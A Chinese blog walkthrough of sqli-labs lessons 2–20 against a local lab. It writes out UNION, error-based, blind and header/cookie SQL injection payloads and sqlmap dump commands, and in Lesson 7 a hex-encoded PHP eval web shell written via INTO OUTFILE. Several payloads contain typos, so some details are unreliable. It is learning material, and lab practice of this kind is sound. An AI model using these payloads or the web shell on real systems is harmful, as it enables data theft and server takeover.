sqli_labs通关详解(1-20关easy部分)(仅供参考)

LESSON_2

刚刚学了sql注入一小部分,让我们先做做练练手(别问我为什么没有1),搭建环境这一步就不说了。

让我们直接点进题目:sqli_labs通关详解(1-20关easy部分)(仅供参考)_第1张图片

通过对id的赋值,我们判断这个题目的注入类型是数值型。判断好注入类型后?开始用order by开始确定列数,从1开始一个一个尝试

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第2张图片

 到4的时候就没有列了,现在我们开始找库名

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第3张图片

 然后查看security这个表里面的内容sqli_labs通关详解(1-20关easy部分)(仅供参考)_第4张图片

 找到了users,再查看users里面的数据,就这样一步一步来sqli_labs通关详解(1-20关easy部分)(仅供参考)_第5张图片

我们发现里面就有id,password,username,再查看里面的内容,用group_concat()进行查询sqli_labs通关详解(1-20关easy部分)(仅供参考)_第6张图片

 这道题就相当于是解决完了。

补充:其实我以前一直在想,sql注入看那么多东西的目的是什么,直到今天我才想明白,原来是为了找到最里面的flag或者是重要的信息

LESSON_3

这道题和1,2题解决的方法是大同小异的,只不过是sql注入的类型不一样,是字符型注入(')类型)先来看有几列(其实我们都知道是有3列的.....)

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第7张图片

?id=1') order by 3 --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第8张图片

 然后,再查询它的表名:

?id=-1') union select 1,2,3 --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第9张图片

 只回显了两个值,所以只用联合查询1,2,这时,再让我们查询它的库名,表名,列,列中的数据,一步一步来,咱就说一定能学会!

查库名:

?id=-1') union select 1,2,group_concat(schema_name) from information_schema.shemata --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第10张图片

查表名:

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第11张图片

 查列:

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where column_schema='users' --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第12张图片

已经有password username id显示出来了,再将他们的数据都查看就完事了!查数据:

?id=-1') union select 1,2,group_concat(id,password,username) from security.users --+

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第13张图片

这道题就完成了。

LESSON_4

跟上面的题没区别,只不过注入类型是")型注入,就不一步一步写步骤了,来康康截屏吧

看注入类型

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第14张图片

 看所含的列数

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第15张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第16张图片

 查库名sqli_labs通关详解(1-20关easy部分)(仅供参考)_第17张图片

 查表名sqli_labs通关详解(1-20关easy部分)(仅供参考)_第18张图片

 查列sqli_labs通关详解(1-20关easy部分)(仅供参考)_第19张图片

 看数据,就没了sqli_labs通关详解(1-20关easy部分)(仅供参考)_第20张图片

LESSON_11

这道题通过判断,是注册表型的‘的sql注入形式,跟以前没有什么两样(我自己做的时候觉得)。反正就一步一步来就好了。判断完类型后先查询列数

' order by 3 #

 但是我们发现会有错误sqli_labs通关详解(1-20关easy部分)(仅供参考)_第21张图片

再次尝试

' order by 2 #

没有回显也没有异常。sqli_labs通关详解(1-20关easy部分)(仅供参考)_第22张图片

联合查询列数

' union select 1,2 #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第23张图片

查询数据库名;

' union select 1,database() #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第24张图片

 查询表名:

' union select 1,group_concat(table_schema) from information_schema.tables where table_schema='security' #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第25张图片

查询列名:

' union select 1,group_concat(column_schema) from information_schema.columns where table_name='users' #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第26张图片

再看看里面的数据就好了

' union select 1,group_concat(id,username,password) from security.users #

这道题就算完成了(真是妙蛙种子开家门妙到家了)sqli_labs通关详解(1-20关easy部分)(仅供参考)_第27张图片

LESSON_5

本题考察的主要考察布尔盲注,但是我今天学习用sqlmap直接就可以全部整出来,先来补充一点知识。

sqlmap的安装是大哥教我的。

1、首先我们要拥有一个python。因为上学期需要用到,所以我已经安装了一个了。然后,自己去网站上找一个sqlmap的源码,下载下来(大哥发给我的我就不提供了)。

2、创建桌面快捷方式:如图sqli_labs通关详解(1-20关easy部分)(仅供参考)_第28张图片

选择快捷方式。创建完成后,选择cmd作为链接,再去更改属性。(但是盲注的脚本也可以自己去写,但是没有sqlmap那么强大,是没有办法比较的。。。)将快捷方式命名为sqlmapsqli_labs通关详解(1-20关easy部分)(仅供参考)_第29张图片

创建成功后,进入属性 ,将起始位置更改为你sqlmap所在的位置,我的是在E盘中sqli_labs通关详解(1-20关easy部分)(仅供参考)_第30张图片

然后就能正常的运行了!

此时此刻第五关就显得渺小了起来......,打开我们的sqlmap来跑一跑。

正常运行后,先查询库名

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" --dbs

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第31张图片

 再查询表名:

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security --tables

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第32张图片

 查询列:

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -T users --columns

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第33张图片

最后查看里面的内容!!!

E:\sql_map>python sqlmap.py -u "http://localhost/sqli/Less-5/?id=1" -D security -C id,password,username --dump all

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第34张图片

okk了就

(第六关我也是用sqlmap跑出来的,别问问就是没有写)

LESSON-7

这关有一个全新的知识点,就是通过上传木马去获取它的本地文件(用蚁剑连接)大部分知识点总结了我大哥的博客(问就是他强制要求我看他的)参考博客

返回数据库的路径   @@datadir     查看文件所在的位置,具体使用方法如下:

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第35张图片

测试是否具有读取权限语句: (select count(*) from mysql.user)>0
具体用法:http://localhost/sqli/Less-7/?id=1')) and (select count(*) from mysql.user)>0   有回显的话就是拥有读取权限,如果没有的话就要在PHP study里面加入一句命令

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第36张图片

secure_file_priv="/"   (它的默认值为null)用这句命令来获取权限

一些有关写命令的函数sqli_labs通关详解(1-20关easy部分)(仅供参考)_第37张图片

现在就可以开始做题了,3的时候还有回显,试一试4

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第38张图片

http://localhost/sqli/Less-7/?id=-1%27))order%20by%204%20%23

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第39张图片

 只有3列,这个时候使用联合查询已经没有用了,要用命令创建一个新的文件码才行sqli_labs通关详解(1-20关easy部分)(仅供参考)_第40张图片

此时我们发现没有办法创建,其实是我们的码的内容被防火墙waf过滤了,这里我们用16进制绕过,记得在16进制前加上0x(如下),转换为16进制时候内容不需要加引号了

然后开始上传文件

http://localhost/sqli/Less-7/?id=1'))%20union%20select%201,2,0x3c3f70687020406576616c28245f504f53545b277a7863275d293b203f3e%20into%20outfile%20%27E:\\GJ\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\456.php%27%20%23

上传成功

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第41张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第42张图片

 此时用蚁剑连接

 连接成功,可以访问到源目录,第七关完成

LESSON-8

自己搜的脚本跑出来的,其实也可以用sqlmap跑sqli_labs通关详解(1-20关easy部分)(仅供参考)_第43张图片

主要还是脚本里面的函数用法要自己弄清楚,以后实战的时候才能够用起来(如果是大佬的话自己写脚本也是可以的),展示一下结果sqli_labs通关详解(1-20关easy部分)(仅供参考)_第44张图片 

如果用sqlmap跑的话操作和第五关一样的操作

LESSON-9

多半相当于是时间盲注,不管注入什么回显都是 you are in......,尝试手注的话就用sleep还有substr()之类的sqli_labs通关详解(1-20关easy部分)(仅供参考)_第45张图片

这里浅试一下手注

我们发现是单引号型注入,而且不管是我输入什么都是只会回显you are in.......

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第46张图片

 尝试获取数据表名称,猜测第一个字符是什么

?id=1' and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第47张图片

的确是延迟显示了,说明正确,那就再尝试用长度可以再尝试一下

?id=1' and if(length(database())=8,sleep(3),1) %23
//判断数据库的名称长度是否为8

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第48张图片

也存在延迟反应,说明猜测成立,一步一步的开始猜(其实真的会猜到天荒地老,所以好好学习脚本和sqlmap)

LESSON-10

这道题和第九关一样,只不过是双引号绕过类型

?id=1" and if(substr(database(),1,1)='s',sleep(3),1) %23
//判断数据库名称的从第一个开始的第一个字母是不是s

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第49张图片

将上面的换成双引号就可以了 (后面省略)

LESSON-12

与第11题一样,都是最普通的登陆界面注册方式,只不过是")型的注入方式 ,判断完成注入方式后我们开始慢慢的注入

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第50张图片

查询数据库名称:

") union select 1,database() #
//一般登陆界面我习惯在登陆框里面直接输入命令

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第51张图片

 数据库名是security,查询表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第52张图片

查询users试一试,查询字段名sqli_labs通关详解(1-20关easy部分)(仅供参考)_第53张图片

出现id,password,username,看一看他们 

1") union select 1,group_concat(id,username,password) from security.users #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第54张图片

 最后注入成功

LESSON-13

本题更相当于是一个报错注入,无论你的输入什么都没有回显,只显示登陆是否成功sqli_labs通关详解(1-20关easy部分)(仅供参考)_第55张图片

用万能密码登录成功之后,发现他的注入类型是'),这里就直接进行报错注入命令

学习文本1    学习文本2

爆数据库:

1') and (select extractvalue(1,concat(0x7e,(select database())))) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第56张图片

 爆表名

1') and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第57张图片

 爆字段名:

1') and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第58张图片

 就这样爆下去!

(报错注入的笔记是我自己总结的!自己学习一下也可以的!)

LESSON-14

和十三关一个模板,只不过注入的方式不同

1" or 1=1#

用万能密码登陆后发现注入方式是"型注入sqli_labs通关详解(1-20关easy部分)(仅供参考)_第59张图片

LESSON-15

用万能密码登陆后发现注入方式为单引号注入,于是开始查询字段

1' or 1=1 #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第60张图片

 但是发现没有任何的回显,我猜测应该是布尔盲注,要借助sleep()函数去判断,注意这里的用户名要是admin才能行

admin' and if(length(database())=8,sleep(1),1) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第61张图片

延迟显示了1秒左右

 所以我们能够猜测出它的数据库名称是security。。。。。后面的步骤和前面的相同,也可以用sqlmap跑一下             参考学习博客

先用burpsuit将基本信息都抓下来 sqli_labs通关详解(1-20关easy部分)(仅供参考)_第62张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第63张图片

打开我们的sqlmap,用口令就可以开始跑数据库名称了

E:\sql_map>python sqlmap.py -r "文件路径(自己填在属性里面找)" -p uname --dbs

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第64张图片

最后得到的结果。。。后面就不跑了QAQ 

 LESSON-16

和16关一样,什么回显都没有,也不会报错,那就一定是时间盲注,可以手注借用sleep函数,也可以用sqlmap跑一下结果。(像15关一样!!!!)

先来测试一下注入方式,我试了一下这道题是")型注入sqli_labs通关详解(1-20关easy部分)(仅供参考)_第65张图片

方法和上面那道题一模一样。。(就不做啦!)

LESSON-17 

打开题目,发现有点不同sqli_labs通关详解(1-20关easy部分)(仅供参考)_第66张图片

题目上出现了密码重置的提示,先尝试一下嘛,我浅浅尝试了一下admin和123,就登陆成功了?(我看了一下参考博客,原博主是用bp得到的用户名),要从password窗口输入命令是因为密码会重新设置(但是这里不能一边查询内容一边去更改password的值,后面应该是能用上和命令的修改有关),那就从数据库名称开始查询

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第67张图片

用admin和'知道了它的注入类型是单引号类型,(所以要确保uname没有改变,但是password可以随意改变)

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第68张图片

查询数据库名称:

admin
1' and(select updatexml(1,concat(0x7e,(select database())),0x7e)) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第69张图片

 查询表名:

1' and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security")),0x7e)) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第70张图片 查询字段名:

1' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns  where table_schema="security" and table_name='users')))) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第71张图片

爆数据:

1' and(select extractvalue(1,concat(0x7e,(select group_concat(id) from users)))) #

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第72张图片

 会出现这个的原因是因为那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表    参考博客1     参考博客2

要是不能先select的话,解决方法就是把他包裹起来,创建一个表A去替代他

查询ID的值:

admin
1' and updatexml(1,concat(0x5c,(select group_concat(id) from (select id from security.users)a),0x5c),1)#

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第73张图片 查询username的值

 1' and updatexml(1,concat(0x5c,(select group_concat(username) from (select username from security.users)a),0x5c),1)#

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第74张图片

 再看password的内容:

admin
1' and updatexml(1,concat(0x5c,(select group_concat(password) from (select password from security.users)a),0x5c),1)#

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第75张图片

 这道题就算是完成了!

LESSON-18

这道题有点不太一样,打开题目之后会有一个IP地址sqli_labs通关详解(1-20关easy部分)(仅供参考)_第76张图片

用admin和123登录成功 sqli_labs通关详解(1-20关easy部分)(仅供参考)_第77张图片

 有一个文件头信息,在看了参考博客之后知道要用bp抓包进行文件头注入,因为查看源码之后我们发现,uname和psw都被保护起来,不能改变,在提示之后知道只要在文件头处进行报错注入命令

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第78张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第79张图片

 也可以用hacker bar进行注入

' and updatexml(1,concat('~',(select database())),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第80张图片

再查询表名称: 

' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第81张图片 查询字段:

' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第82张图片

 查询数据:

' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第83张图片

 报错注入还有很多要学的,感觉还有很多的不足,慢慢加油

LESSON-19

打开题目,用密码登陆上之后,发现是在referer上面进行注入,同样用hackbar,用bp抓包发现就是单纯的单引号型注入

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第84张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第85张图片

爆数据库名: 

' and updatexml(1,concat('~',(select database())),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第86张图片

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第87张图片

 爆表名:

' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第88张图片

其他和18关一样,就不演示了

LESSON-20 

同样用万能密码登陆上看一看sqli_labs通关详解(1-20关easy部分)(仅供参考)_第89张图片

八成是在cookies上面进行注入的,同样用bp抓包试一试sqli_labs通关详解(1-20关easy部分)(仅供参考)_第90张图片 就用hackbar注入吧,会更方便一点。也是单引号型注入方式

 爆数据库:

uname=admin and ' and updatexml(1,concat('~',(select database())),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第91张图片

 爆表名:

uname=admin and ' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第92张图片

爆字段名: 

uname=admin and ' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第93张图片

 查看数据:

uname=admin and ' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1

sqli_labs通关详解(1-20关easy部分)(仅供参考)_第94张图片

 前20关完成啦!

完结撒花,感谢观看

 

 

 

 

 

你可能感兴趣的:(sql)